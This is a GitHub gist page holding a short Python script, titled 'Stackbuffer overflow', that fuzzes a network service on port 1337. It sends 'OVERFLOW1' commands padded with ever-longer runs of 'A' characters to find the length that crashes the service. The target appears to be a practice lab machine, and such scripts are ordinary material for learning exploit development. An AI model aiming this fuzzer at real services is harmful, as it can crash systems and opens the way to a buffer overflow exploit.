Skip to content

Instantly share code, notes, and snippets.

@an0th3rhuman
Created February 10, 2021 11:14
Show Gist options
  • Save an0th3rhuman/1db2f50be783b9c9383d0e8ff0277dc1 to your computer and use it in GitHub Desktop.
Save an0th3rhuman/1db2f50be783b9c9383d0e8ff0277dc1 to your computer and use it in GitHub Desktop.
Stackbuffer overflow
import socket, time, sys
ip = "MACHINE_IP"
port = 1337
timeout = 5
buffer = []
counter = 100
while len(buffer) < 30:
buffer.append("A" * counter)
counter += 100
for string in buffer:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((ip, port))
s.recv(1024)
print("Fuzzing with %s bytes" % len(string))
s.send("OVERFLOW1 " + string + "\r\n") # Change the prefix here accordingly
s.recv(1024)
s.close()
except:
print("Could not connect to " + ip + ":" + str(port))
sys.exit(0)
time.sleep(1)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment